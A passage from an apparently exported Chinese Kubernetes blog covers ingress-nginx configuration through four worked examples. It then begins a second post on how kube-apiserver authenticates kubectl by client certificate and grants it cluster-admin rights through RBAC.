ingress配置实践"},{"content":"我之前并未使用过标准的Kubernetes ingress，而是自己实现了一个基于nginx的、类似ingress controller的服务入口管理程序nginx-kit。这个程序会部署到Kubernetes集群中，以Pod形式运行。该Pod由两个Container组成，一个Container放置了一个由脚本启动的nginx；另外一个Container中放置的是一个conf generator程序，它监听Kubernetes集群service对象的变更，并根据变更情况动态生成nginx的配置文件。第一个Container中的脚本会监听配置文件目录的变化，并reload配置文件信息实现Kubernetes内部服务对外暴露入口的动态管理。关于这个程序的详情可以参考我之前写的两篇文章：《Kubernetes集群中的Nginx配置热更新方案》和《为Kubernetes集群中服务部署Nginx入口服务》。\n近期在使用ingress controller对内部服务入口的暴露进行动态管理，使用后发现我之前实现的nginx kit与ingress controller的实现之一: ingress-nginx简直是异曲同工。只是当时对Kubernetes理解还不够深入，在设计nginx-kit时格局“太小了”，只实现了一个满足内部需求的”ingress controller”，而不是一个通用的、可扩展的ingress controller:(。\n好了！言归正传，这篇文章是ingress的入门文章，将通过四个例子来说明一下ingress controller的实现之一： ingress-nginx在不同服务暴露场景下的使用和配置方法。\n一. 例子概述与环境准备 我们有四个例子，见下图中的a) ~ d)：\n例子a): 单ingress-nginx controller。通过ingress-svc1将内部服务svc1的http服务端口暴露到集群外，通过访问http://svc1.tonybai.com:30090即可访问svc1服务。 例子b)：单ingress-nginx controller。通过ingress-svc1将内部服务svc1的http服务端口暴露到集群外，通过访问http://svc1.tonybai.com:30090即可访问svc1服务；通过ingress-svc2将内部服务svc2的https服务端口暴露到集群外，通过访问http://svc2.tonybai.com:30090即可访问svc2服务。 例子c)：单ingress-nginx controller。除了暴露svc1和svc2之外，还暴露了集群内部的一个tcp(四层)服务：svc3，通过tcp连接svc3.tonybai.com:30070即可访问svc3服务。 例子d): 多ingress-nginx controllers。其中nginx-ingress-controller-ic1负责暴露svc1、svc2和svc3服务（访问方式如上面所描述的）；nginx-ingress-controller-ic2负责暴露svc4、svc5和svc6，其中svc4是一个http服务；svc5是https服务，svc6是一个tcp（四层)服务。 这里我们使用一个Kubernetes 1.10.3的集群来循序渐进地实践一下这四个例子。关于这四个例子的源码、chart包以及ingress controllers的yaml源文件在这里可以下载到：\n$tree -L 2 ingress-controller-demo ingress-controller-demo ├── charts │ ├── svc1 │ ├── svc2 │ ├── svc3 │ ├── svc4 │ ├── svc5 │ └── svc6 ├── manifests │ ├── ic-common.yaml │ ├── ic1-mandatory.yaml │ ├── ic1-service-nodeport.yaml │ ├── ic2-mandatory.yaml │ └── ic2-service-nodeport.yaml └── src ├── svc1 ├── svc2 ├── svc3 ├── svc4 ├── svc5 └── svc6 其中:\nsrc下面存放着svc1~svc6的源码（包括Dockerfile）； manifests下面存放的是ingress controllers的yaml源文件； charts下面存放的是svc1~svc6的helm chart安装包源文件。 二. 创建第一个ingress-nginx controller ingress controller有多种实现，其中应用较广的是kubernetes官方仓库中的ingress-nginx。在bare metal上安装ingress-nginx controller十分方便，只需执行下面命令即可：\nkubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/master/deploy/mandatory.yaml 不过，考虑到我后续在环境中会安装多个ingress-nginx controller，我们需要对mandatory.yaml中的内容做些调整：\n首先明确多个ingress-nginx controller及其相关kubernetes object所在的namespace，默认为ingress-nginx，这里统一改为ingress-nginx-demo，yaml描述文件中所有的object的namespace也都改为ingress-nginx-demo，clusterrole、clusterrolebinding对象不归属于任何namespace，因此无需修改；\n接下来，将多个ingress-nginx controller能共用的kubernetes object的描述数据从mandatory.yaml中提取出来，放入ic-common.yaml中，包括：namespace: ingress-nginx-demo、deployment: default-http-backend、service: default-http-backend、serviceaccount: nginx-ingress-serviceaccount、clusterrole: nginx-ingress-demo-clusterrole、role: nginx-ingress-role、rolebinding: nginx-ingress-role-nisa-binding以及clusterrolebinding: nginx-ingress-demo-clusterrole-nisa-binding;\n将“缩水”后的mandatory.yaml改名为ic1-mandatory.yaml，并将其内容中的kubernetes object的name添加上**“-ic1″**后缀。\n在ic1-mandatory.yaml中nginx-ingress-controller的启动参数列表尾部添加“–ingress-class=ic1”:\n// ic1-mandatory.yaml \u0026hellip; \u0026hellip; spec: serviceAccountName: nginx-ingress-serviceaccount containers: - name: nginx-ingress-controller-ic1 image: quay.io/kubernetes-ingress-controller/nginx-ingress-controller:0.15.0 args: - /nginx-ingress-controller - \u0026ndash;default-backend-service=$(POD_NAMESPACE)/default-http-backend - \u0026ndash;configmap=$(POD_NAMESPACE)/nginx-configuration-ic1 - \u0026ndash;tcp-services-configmap=$(POD_NAMESPACE)/tcp-services-ic1 - \u0026ndash;udp-services-configmap=$(POD_NAMESPACE)/udp-services-ic1 - \u0026ndash;publish-service=$(POD_NAMESPACE)/ingress-nginx-ic1 - \u0026ndash;annotations-prefix=nginx.ingress.kubernetes.io - \u0026ndash;ingress-class=ic1 \u0026hellip; \u0026hellip;\nic-common.yaml中的nginx-ingress-role中的resourceNames列表中需添加两项：”ingress-controller-leader-ic1″和”ingress-controller-leader-ic2″：\n// ic-common.yaml \u0026hellip; \u0026hellip; apiVersion: rbac.authorization.k8s.io/v1beta1 kind: Role metadata: name: nginx-ingress-role namespace: ingress-nginx-demo rules:\napiGroups: \u0026quot;\u0026quot; resources: configmaps pods secrets namespaces verbs: get apiGroups: \u0026quot;\u0026quot; resources: configmaps resourceNames: Defaults to \u0026ldquo;-\u0026rdquo; Here: \u0026ldquo;-\u0026rdquo; This has to be adapted if you change either parameter when launching the nginx-ingress-controller. \u0026ldquo;ingress-controller-leader-ic1\u0026rdquo; \u0026ldquo;ingress-controller-leader-ic2\u0026rdquo; \u0026hellip; \u0026hellip; 这两个resouceName分别给两个ingress-controller使用，当每个ingress-controller存在多副本(replicas \u0026gt; 1)时，多副本会通过ingress-controller-leader-icX这个configmap资源来进行leader election（选主)。以ingress-controller-ic1为例，当存在多副本时，ingress-controller-ic1的启动日志：\nI0621 09:13:20.646426 7 stat_collector.go:34] changing prometheus collector from to default I0621 09:13:20.648198 7 status.go:196] new leader elected: nginx-ingress-controller-ic1-7c9bc49cbb-kgjvz I0621 09:13:20.752485 7 controller.go:177] ingress backend successfully reloaded... 不过，虽然存在leader，但业务流量却是负载分担的。\n为ingress-nginx controller pod创建nodeport类型service 如果只是部署了ingress controller，那么外部依然无法连上ingress controller，因为ingress controller自身还没有对应的service将自己暴露到集群外部。官方文档推荐使用NodePort方式，于是我们创建了ic1-service-nodeport.yaml，让流入host:30090的流量进入ingress controller service。\n总结一下ingress-controller-ic1这个ingress controller的完整创建步骤：\nkubectl apply -f ic-common.yaml kubectl apply -f ic1-service-nodeport.yaml kubectl apply -f ic1-mandatory.yaml 三. 创建例子a) svc1是一个在容器8080端口提供http服务的服务程序。在例子a)中，我们在k8s集群中创建svc1，并创建ic1-svc1 ingress将svc1暴露在集群外面，外部请求通过svc1.tonybai.com:30090可以访问到svc1。而做到这一点，我们仅需要使用helm install一下svc1这个chart：\n# helm install --name ic1-svc1 ./svc1 NAME: ic1-svc1 LAST DEPLOYED: Thu Jun 21 20:39:25 2018 NAMESPACE: default STATUS: DEPLOYED RESOURCES: ==\u0026gt; v1/Service NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE ic1-svc1 ClusterIP 10.103.210.182 \u0026lt;none\u0026gt; 80/TCP 0s ==\u0026gt; v1beta2/Deployment NAME DESIRED CURRENT UP-TO-DATE AVAILABLE AGE ic1-svc1 1 0 0 0 0s ==\u0026gt; v1beta1/Ingress NAME HOSTS ADDRESS PORTS AGE ic1-svc1 svc1.tonybai.com 80 0s ==\u0026gt; v1/Pod(related) NAME READY STATUS RESTARTS AGE ic1-svc1-5ff84d7bff-5j7tb 0/1 ContainerCreating 0 0s NOTES: 1. Get the application URL by running these commands: http://svc1.tonybai.com/ svc1服务以及对应的ic1-svc1 ingress创建后，我们来测试一下：\n# curl svc1.tonybai.com:30090 Hello, I am svc1 for ingress-controller demo! 结果符合预期。而这一切实现的关键在于ingress-controller-demo/charts/svc1/values.yaml:\n... ... ingress: enabled: true annotations: # kubernetes.io/ingress.class: nginx # kubernetes.io/tls-acme: \u0026quot;true\u0026quot; kubernetes.io/ingress.class: ic1 path: / hosts: - svc1.tonybai.com ... ... ingress的enabled改为true，helm才会创建svc1对应的ingress。annotations中的kubernetes.io/ingress.class: ic1很关键，设定ingress的这个annotation，可以使得该ingress归属于我们上面创建的nginx-ingress-controller-ic1 ingress controller，而其他ingress controller会忽略这个ingress。\n我们再来看看 ingress-controller-ic1的后台日志，当添加svc1时，日志输出：\nI0621 12:39:25.406331 7 event.go:218] Event(v1.ObjectReference{Kind:\u0026quot;Ingress\u0026quot;, Namespace:\u0026quot;default\u0026quot;, Name:\u0026quot;ic1-svc1\u0026quot;, UID:\u0026quot;2176416f-7550-11e8-a0e8-00163e0cd764\u0026quot;, APIVersion:\u0026quot;extensions\u0026quot;, ResourceVersion:\u0026quot;1877656\u0026quot;, FieldPath:\u0026quot;\u0026quot;}): type: 'Normal' reason: 'CREATE' Ingress default/ic1-svc1 I0621 12:39:25.517915 7 controller.go:177] ingress backend successfully reloaded... W0621 12:39:28.739708 7 controller.go:773] service default/ic1-svc1 does not have any active endpoints I0621 12:39:34.262824 7 controller.go:168] backend reload required I0621 12:39:34.371479 7 controller.go:177] ingress backend successfully reloaded... nginx-ingress-controller-ic1会监听到service变化，并reload nginx。\n我们可以通过下面命令查看nginx-ingress-controller-ic1内部的nginx的配置文件内容：\n# kubectl exec nginx-ingress-controller-ic1-7c9bc49cbb-kgjvz -n ingress-nginx-demo -- cat /etc/nginx/nginx.conf 我们可以看到有关svc1的相关内容如下：\nupstream default-ic1-svc1-http { least_conn; keepalive 32; server 192.168.31.9:8080 max_fails=0 fail_timeout=0; } ## start server svc1.tonybai.com server { server_name svc1.tonybai.com ; listen 80; listen [::]:80; set $proxy_upstream_name \u0026quot;-\u0026quot;; location / { ... ... set $proxy_upstream_name \u0026quot;default-ic1-svc1-http\u0026quot;; set $namespace \u0026quot;default\u0026quot;; set $ingress_name \u0026quot;ic1-svc1\u0026quot;; set $service_name \u0026quot;ic1-svc1\u0026quot;; ... ... proxy_pass http://default-ic1-svc1-http; proxy_redirect off; } } ## end server svc1.tonybai.com 可一看出外部到svc1.tonybai.com:30090的流量被转到service ingress-nginx-ic1:80上，进而到达nginx pod的targetPort(80)上。\n四. 创建例子b) 有了例子a)作为基础，理解接下来的例子就相对简单了。例子b)与a)最大的不同是svc2是一个https服务。外部通过http协议访问：svc2.tonybai.com:30090后，nginx-ingress-controller-ic1内部的nginx需要以https的方式去访问svc2。ingress-nginx ingress controller支持这种情况，仅需要在svcb的ingress annotations加上下面这个annotation：nginx.ingress.kubernetes.io/secure-backends: “true”：\n// ingress-controller-demo/charts/svc2/values.yaml ... ... ingress: enabled: true annotations: # kubernetes.io/ingress.class: nginx # kubernetes.io/tls-acme: \u0026quot;true\u0026quot; nginx.ingress.kubernetes.io/secure-backends: \u0026quot;true\u0026quot; kubernetes.io/ingress.class: ic1 path: / hosts: - svc2.tonybai.com ... ... 和例子a)一样，使用helm安装svc2这个chart后，svc2这个服务就暴露出来了：\n# helm install --name ic1-svc2 ./svc2 # curl http://svc2.tonybai.com:30090 Hello, I am svc2 for ingress-controller demo! 五. 创建例子c) svc3与前面两个服务均不同，因为它直接暴露的是四层的tcp服务。kubernetes ingress无法直接支持四层的服务端口暴露，我们需要在ingress controller上“动手脚”。\n首先，四层的暴露的端口不能与之前的七层端口30090重叠(因为不是通过ingress来暴露svc3服务的)，我们需要一个新端口：30070，我们需要在ic1-service-nodeport.yaml中增加一组nodeport：\n//ingress-controller-demo/manifests/ic1-service-nodeport.yaml apiVersion: v1 kind: Service metadata: name: ingress-nginx-ic1 namespace: ingress-nginx-demo spec: type: NodePort ports: - name: http port: 80 targetPort: 80 nodePort: 30090 protocol: TCP - name: tcp port: 30070 targetPort: 30070 nodePort: 30070 protocol: TCP selector: app: ingress-nginx-ic1 注意这里两组nodeport中的port不能一样，否则kubernetes会用下面的一组覆盖上面的那组。这里我们暴露30070这个nodeport，service的集群内port也是30070，后面的endpoint中的容器（即nginx-ingress-controller-ic1 pod）监听的也是30070。\n接下来，要让nginx-ingress-controller-ic1 pod也监听30070，我们没法用ingress实现，但是ingress-nginx ingress controller支持通过一个名为：tcp-services-ic1的configmap来配置：\n//ingress-controller-demo/manifests/ic1-mandatory.yaml .... ... spec: serviceAccountName: nginx-ingress-serviceaccount containers: - name: nginx-ingress-controller-ic1 image: quay.io/kubernetes-ingress-controller/nginx-ingress-controller:0.15.0 args: - /nginx-ingress-controller - --default-backend-service=$(POD_NAMESPACE)/default-http-backend - --configmap=$(POD_NAMESPACE)/nginx-configuration-ic1 - --tcp-services-configmap=$(POD_NAMESPACE)/tcp-services-ic1 - --udp-services-configmap=$(POD_NAMESPACE)/udp-services-ic1 - --publish-service=$(POD_NAMESPACE)/ingress-nginx-ic1 - --annotations-prefix=nginx.ingress.kubernetes.io ... ... 在ic1-mandatory.yaml中，我们这样更新tcp-services-ic1 configmap的配置：\nkind: ConfigMap apiVersion: v1 metadata: name: tcp-services-ic1 namespace: ingress-nginx-demo data: 30070: \u0026quot;default/ic1-svc3:8080\u0026quot; 大家可以看到，在configmap的data中，我们用了一个key:value的格式行，其中key就是nginx要暴露的端口：30070，value则为\n\u0026lt;namespace/service name\u0026gt;:\u0026lt;service port\u0026gt; 格式的值，这里我们使用default名字空间下的ic1-svc3服务，服务端口8080。\n重新apply ic1-mandatory.yaml和ic1-service-nodeport.yaml后，我们测试一下svc3服务：\n# telnet svc3.tonybai.com 30070 Trying 127.0.0.1... Connected to svc3.tonybai.com. Escape character is '^]'. hello hello world world svc3是一个echo服务，我们看到svc3 echo了我们输入的内容。\n在nginx内部，30070是这样被暴露的：\nstream { log_format log_stream [$time_local] $protocol $status $bytes_sent $bytes_received $session_time; access_log /var/log/nginx/access.log log_stream; error_log /var/log/nginx/error.log; # TCP services upstream tcp-30070-default-ic1-svc3-8080 { server 192.168.28.13:8080; } server { listen 30070; listen [::]:30070; proxy_timeout 600s; proxy_pass tcp-30070-default-ic1-svc3-8080; } # UDP services } 六. 创建例子d) 在例子d)对应的图示中，我们建立了另外一个ingress-nginx ingress controller: nginx-ingress-controller-ic2，与nginx-ingress-controller-ic1 不同的是， nginx-ingress-controller-ic2的启动参数中含：\n- --ingress-class=ic2 用以区分ic1。ic2-mandatory.yaml和ic1-mandatory.yaml相比，就是将“rc1”字样整体替换为”ic2″即可。除此之外，有了ic1-service-nodeport.yaml的基础，ic2-service-nodeport.yaml内容也是“雷同”的。建立 nginx-ingress-controller-ic2步骤如下：\n# kubectl apply -f ic2-service-nodeport.yaml # kubectl apply -f ic2-mandatory.yaml 归属于nginx-ingress-controller-ic2的三个服务svc4、svc5和svc6等价于nginx-ingress-controller-ic1的svc1、svc2和svc3，这里就不赘述了。\n# curl svc4.tonybai.com:30091 Hello, I am svc4 for ingress-controller demo! # curl svc5.tonybai.com:30091 Hello, I am svc5 for ingress-controller demo! # telnet svc6.tonybai.com 30071 Trying 127.0.0.1... Connected to svc6.tonybai.com. Escape character is '^]'. hello hello tony tony 如果想使得ingress-nginx controller高可用，只需将其pod副本数量调大即可。\n51短信平台：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2018/06/21/kubernetes-ingress-controller-practice-using-four-examples/","summary":"\u003cp\u003e我之前并未使用过标准的\u003ca href=\"https://kubernetes.io/docs/concepts/services-networking/ingress/\"\u003eKubernetes ingress\u003c/a\u003e，而是自己实现了一个基于\u003ca href=\"https://tonybai.com/tag/nginx\"\u003enginx\u003c/a\u003e的、类似\u003ca href=\"https://kubernetes.io/docs/concepts/services-networking/ingress/#ingress-controllers\"\u003eingress controller\u003c/a\u003e的服务入口管理程序nginx-kit。这个程序会部署到\u003ca href=\"https://tonybai.com/tag/kubernetes\"\u003eKubernetes集群\u003c/a\u003e中，以Pod形式运行。该Pod由两个Container组成，一个Container放置了一个由脚本启动的nginx；另外一个Container中放置的是一个conf generator程序，它监听Kubernetes集群service对象的变更，并根据变更情况动态生成nginx的配置文件。第一个Container中的脚本会监听配置文件目录的变化，并reload配置文件信息实现Kubernetes内部服务对外暴露入口的动态管理。关于这个程序的详情可以参考我之前写的两篇文章：《\u003ca href=\"http://tonybai.com/2016/11/17/nginx-config-hot-reloading-approach-for-kubernetes-cluster/\"\u003eKubernetes集群中的Nginx配置热更新方案\u003c/a\u003e》和《\u003ca href=\"http://tonybai.com/2016/11/22/deploy-nginx-service-for-the-services-in-kubernetes-cluster/\"\u003e为Kubernetes集群中服务部署Nginx入口服务\u003c/a\u003e》。\u003c/p\u003e","title":"实践kubernetes ingress controller的四个例子"},{"content":"kubectl是日常访问和管理Kubernetes集群最为常用的工具。\n当我们使用kubeadm成功引导启动(init)一个Kubernetes集群的控制平面后，kubeadm会在init的输出结果中给予我们下面这样的“指示”：\n... ... Your Kubernetes master has initialized successfully! To start using your cluster, you need to run the following as a regular user: mkdir -p $HOME/.kube sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config sudo chown $(id -u):$(id -g) $HOME/.kube/config ... ... kubeadm init在结尾处输出的这些信息是在告知我们如何配置kubeconfig文件。按照上述命令配置后，master节点上的kubectl就可以直接使用$HOME/.kube/config的信息访问k8s cluster了。并且，通过这种配置方式，kubectl也拥有了整个集群的管理员(root)权限。\n很多K8s初学者在这里都会有疑问：当kubectl使用这种kubeconfig方式访问集群时，Kubernetes的kube-apiserver是如何对来自kubectl的访问进行身份验证(authentication)和授权(authorization)的呢？为什么来自kubectl的请求拥有最高的管理员权限呢？在本文中，我们就来分析说明一下这个过程。\n一. Kubernetes API的访问控制原理回顾 在《Kubernetes的安全设置》一文中我曾介绍过Kubernetes集群的访问权限控制由kube-apiserver负责，kube-apiserver的访问权限控制由身份验证(authentication)、授权(authorization)和准入控制（admission control）三步骤组成，这三步骤是按序进行的：\n要想搞明白kubectl访问Kubernetes集群时的身份验证和授权，就是要弄清kube-apiserver在进行身份验证和授权两个环节都做了什么：\nAuthentication：即身份验证，这个环节它面对的输入是整个http request，它负责对来自client的请求进行身份校验，支持的方法包括：client证书验证（https双向验证）、basic auth、普通token以及jwt token(用于serviceaccount)。APIServer启动时，可以指定一种Authentication方法，也可以指定多种方法。如果指定了多种方法，那么APIServer将会逐个使用这些方法对客户端请求进行验证，只要请求数据通过其中一种方法的验证，APIServer就会认为Authentication成功；在较新版本kubeadm引导启动的k8s集群的apiserver初始配置中，默认支持client证书验证和serviceaccount两种身份验证方式。在这个环节，apiserver会通过client证书或http header中的字段(比如serviceaccount的jwt token)来识别出请求的“用户身份”，包括”user”、”group”等，这些信息将在后面的authorization环节用到。\nAuthorization：授权。这个环节面对的输入是http request context中的各种属性，包括：user、group、request path（比如：/api/v1、/healthz、/version等）、request verb(比如：get、list、create等)。APIServer会将这些属性值与事先配置好的访问策略(access policy）相比较。APIServer支持多种authorization mode，包括Node、RBAC、Webhook等。APIServer启动时，可以指定一种authorization mode，也可以指定多种authorization mode，如果是后者，只要Request通过了其中一种mode的授权，那么该环节的最终结果就是授权成功。在较新版本kubeadm引导启动的k8s集群的apiserver初始配置中，authorization-mode的默认配置是”Node,RBAC”。Node授权器主要用于各个node上的kubelet访问apiserver时使用的，其他一般均由RBAC授权器来授权。\nRBAC，Role-Based Access Control即Role-Based Access Control，它使用”rbac.authorization.k8s.io”实现授权决策，允许管理员通过Kubernetes API动态配置策略。在RBAC API中，一个角色(Role)包含了一组权限规则。Role有两种：Role和ClusterRole。一个Role对象只能用于授予对某一单一命名空间（namespace）中资源的访问权限。ClusterRole对象可以授予与Role对象相同的权限，但由于它们属于集群范围对象， 也可以使用它们授予对以下几种资源的访问权限：\n集群范围资源（例如节点，即node） 非资源类型endpoint（例如”/healthz”） 跨所有命名空间的命名空间范围资源（例如所有命名空间下的pod资源) rolebinding，角色绑定则是定义了将一个角色的各种权限授予一个或者一组用户。 角色绑定包含了一组相关主体（即subject, 包括用户——User、用户组——Group、或者服务账户——Service Account）以及对被授予角色的引用。 在命名空间中可以通过RoleBinding对象进行用户授权，而集群范围的用户授权则可以通过ClusterRoleBinding对象完成。\n好了，有了上面这些知识基础，要搞清楚kubectl访问集群的身份验证和授权过程，我们只需要逐一解决下面的一些问题即可：\n1、authencation中识别出了哪些http request context中的信息？\n2、authorization中RBAC authorizer找到的对应的rolebinding或clusterrolebinding是什么？\n3、对应的role或clusterrole的权限规则？\n二. 在身份验证(authentication)识别出Group 我们先从kubectl使用的kubeconfig入手。kubectl使用的kubeconfig文件实质上就是kubeadm init过程中生成的/etc/kubernetes/admin.conf，我们查看一下该kubeconfig文件的内容：\n环境k8s 1.10.3: # kubectl config view apiVersion: v1 clusters: - cluster: certificate-authority-data: REDACTED server: https://172.16.66.101:6443 name: kubernetes contexts: - context: cluster: kubernetes user: kubernetes-admin name: kubernetes-admin@kubernetes current-context: kubernetes-admin@kubernetes kind: Config preferences: {} users: - name: kubernetes-admin user: client-certificate-data: REDACTED client-key-data: REDACTED 关于kubeconfig文件的解释，可以在这里自行脑补。在这些输出信息中，我们着重提取到两个信息：\nuser name: kubernetes-admin client-certificate-date: XXXX 前面提到过apiserver的authentication支持通过tls client certificate、basic auth、token等方式对客户端发起的请求进行身份校验，从kubeconfig信息来看，kubectl显然在请求中使用了tls client certificate的方式，即客户端的证书。另外我们知道Kubernetes是没有user这种资源的，通过k8s API也无法创建user。那么kubectl的身份信息就应该“隐藏”在client-certificate的数据中，我们来查看一下。\n首先我们将 /etc/kubernetes/admin.conf中client-certificate-data的数据内容保存到一个临时文件admin-client-certificate.txt中：\n// admin-client-certificate.txt LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUM4akNDQWRxZ0F3SUJBZ0lJZjJkVlJqbThFTFF3RFFZSktvWklodmNOQVFFTEJRQXdGVEVUTUJFR0ExVUUKQXhNS2EzVmlaWEp1WlhSbGN6QWVGdzB4T0RBMU1UUXdPREUzTVROYUZ3MHhPVEExTVRRd09ERTNNVGRhTURReApGekFWQmdOVkJBb1REbk41YzNSbGJUcHRZWE4wWlhKek1Sa3dGd1lEVlFRREV4QnJkV0psY201bGRHVnpMV0ZrCmJXbHVNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQXhCbjNqZHc4MGIxR2ZiNnMKdzJOcnFwTG90TVQ0bnlBZjJIaHFNclhqbk8rd25hSzFBSVRPdy8yMm1EajByd0l1SndkUUlqNS9CYUY2M3BQRQoxcFUwdmhJUFZLNG42Skk0ZG1Nem8vbFIzalpwR2VaVzF6ZFhhQ292dzljN2NsYmlIby9tRkc0eHF5dFZMZlg0Ci9TOG1GcDJBOVFjaWVKR0lvNVMwQlIzRlpsVTFQTTdEUmJMRFZWcTFQZHlOWTJHZnNiR3JIbEdnWHZXQUtDZC8KSDc5Z0FxVm9UWGpTSVdDVll1WWNvTHZkdlZYUVNJaVlscFhGUDFqQlFMdmNVN3ZycXRiMTJSbXJ4bnBrVzRwbApkR0VPWDJzTG1mWVo1VGlGcGtSd3oyR3hzbVd5UmJ0Nk91SVNKRkk2UlowcitSbjR5TURLUHJZbEVuZ0RWYzVLClBaNXptd0lEQVFBQm95Y3dKVEFPQmdOVkhROEJBZjhFQkFNQ0JhQXdFd1lEVlIwbEJBd3dDZ1lJS3dZQkJRVUgKQXdJd0RRWUpLb1pJaHZjTkFRRUxCUUFEZ2dFQkFFWk5UdlR6Mk9nekNVZHZNRmJyaFBzcCttRDJ2UGpNUkN4aQozQmtBMTB2SUNPU2ZkeW1NbjhhdzBJYktZejJnUWJYcVVmcXpRbVFmYTNpZitRWUJrQis3N3pmc3Y5YW00RVAvCmU2VGc1MnRxVjJQN3MyZUY3dE5BZTIwR3lWNnlGbFExUVVXNS9NNE0rSk1sVitCVWJsOXlFeVFsRU51Y0tmK3UKVFB5S0tUVXR6dlVZcjVFM0VKa3Q4NEVRSU52dzJuUjJqTnZlWjFYV09saVVyS2ZqSEh0ZnZPL241NlVTdUk0dwp1MkxUbElDUmNqNGcrWldsSWplTUZrR3lQYkp5SkFRNjVQMnNHclptMWtsR0dIM216d081Q1AxeVpXdm9VampQCmp6U2pNQ0lhSy9mUjhlUkFKNnExdFQ2YkcyNkwrbmprS0NRRFdLcGpBV09hcHVST2Niaz0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo= 然后针对该文件数据做base64解码，得到client certificate文件：\ncat admin-client-certificate.txt | base64 -d \u0026gt; admin-client.crt # cat admin-client.crt -----BEGIN CERTIFICATE----- MIIC8jCCAdqgAwIBAgIIf2dVRjm8ELQwDQYJKoZIhvcNAQELBQAwFTETMBEGA1UE AxMKa3ViZXJuZXRlczAeFw0xODA1MTQwODE3MTNaFw0xOTA1MTQwODE3MTdaMDQx FzAVBgNVBAoTDnN5c3RlbTptYXN0ZXJzMRkwFwYDVQQDExBrdWJlcm5ldGVzLWFk bWluMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxBn3jdw80b1Gfb6s w2NrqpLotMT4nyAf2HhqMrXjnO+wnaK1AITOw/22mDj0rwIuJwdQIj5/BaF63pPE 1pU0vhIPVK4n6JI4dmMzo/lR3jZpGeZW1zdXaCovw9c7clbiHo/mFG4xqytVLfX4 /S8mFp2A9QcieJGIo5S0BR3FZlU1PM7DRbLDVVq1PdyNY2GfsbGrHlGgXvWAKCd/ H79gAqVoTXjSIWCVYuYcoLvdvVXQSIiYlpXFP1jBQLvcU7vrqtb12RmrxnpkW4pl dGEOX2sLmfYZ5TiFpkRwz2GxsmWyRbt6OuISJFI6RZ0r+Rn4yMDKPrYlEngDVc5K PZ5zmwIDAQABoycwJTAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUH AwIwDQYJKoZIhvcNAQELBQADggEBAEZNTvTz2OgzCUdvMFbrhPsp+mD2vPjMRCxi 3BkA10vICOSfdymMn8aw0IbKYz2gQbXqUfqzQmQfa3if+QYBkB+77zfsv9am4EP/ e6Tg52tqV2P7s2eF7tNAe20GyV6yFlQ1QUW5/M4M+JMlV+BUbl9yEyQlENucKf+u TPyKKTUtzvUYr5E3EJkt84EQINvw2nR2jNveZ1XWOliUrKfjHHtfvO/n56USuI4w u2LTlICRcj4g+ZWlIjeMFkGyPbJyJAQ65P2sGrZm1klGGH3mzwO5CP1yZWvoUjjP jzSjMCIaK/fR8eRAJ6q1tT6bG26L+njkKCQDWKpjAWOapuROcbk= -----END CERTIFICATE----- 查看证书内容：\n# openssl x509 -in ./admin-client.crt -text Certificate: Data: Version: 3 (0x2) Serial Number: 9180400125522743476 (0x7f67554639bc10b4) Signature Algorithm: sha256WithRSAEncryption Issuer: CN=kubernetes Validity Not Before: May 14 08:17:13 2018 GMT Not After : May 14 08:17:17 2019 GMT Subject: O=system:masters, CN=kubernetes-admin Subject Public Key Info: Public Key Algorithm: rsaEncryption Public-Key: (2048 bit) ... ... 从证书输出的信息中，我们看到了下面这行：\nSubject: O=system:masters, CN=kubernetes-admin k8s apiserver对kubectl的请求进行client certificate验证(通过ca证书–client-ca-file=/etc/kubernetes/pki/ca.crt对其进行校验)，验证通过后kube-apiserver会得到：group = system:masters的http上下文信息，并传给后续的authorizers。\n三. 在授权(authorization)时根据Group确定所绑定的角色(Role) kubeadm在init初始引导集群启动过程中，创建了许多default的role、clusterrole、rolebinding和clusterrolebinding，在k8s有关RBAC的官方文档中，我们看到下面一些default clusterrole列表:\n其中第一个cluster-admin这个cluster role binding绑定了system:masters group，这和authentication环节传递过来的身份信息不谋而合。沿着system:masters group对应的cluster-admin clusterrolebinding“追查”下去，真相就会浮出水面。\n我们查看一下这一binding：\n# kubectl get clusterrolebinding/cluster-admin -n kube-system -o yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: annotations: rbac.authorization.kubernetes.io/autoupdate: \u0026quot;true\u0026quot; creationTimestamp: 2018-06-07T06:14:55Z labels: kubernetes.io/bootstrapping: rbac-defaults name: cluster-admin resourceVersion: \u0026quot;103\u0026quot; selfLink: /apis/rbac.authorization.k8s.io/v1/clusterrolebindings/cluster-admin uid: 18c89690-6a1a-11e8-a0e8-00163e0cd764 roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: cluster-admin subjects: - apiGroup: rbac.authorization.k8s.io kind: Group name: system:masters 我们看到在kube-system名字空间中，一个名为cluster-admin的clusterrolebinding将cluster-admin cluster role与system:masters Group绑定到了一起，赋予了所有归属于system:masters Group中用户cluster-admin角色所拥有的权限。\n我们再来查看一下cluster-admin这个role的具体权限信息：\n# kubectl get clusterrole/cluster-admin -n kube-system -o yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: annotations: rbac.authorization.kubernetes.io/autoupdate: \u0026quot;true\u0026quot; creationTimestamp: 2018-06-07T06:14:55Z labels: kubernetes.io/bootstrapping: rbac-defaults name: cluster-admin resourceVersion: \u0026quot;52\u0026quot; selfLink: 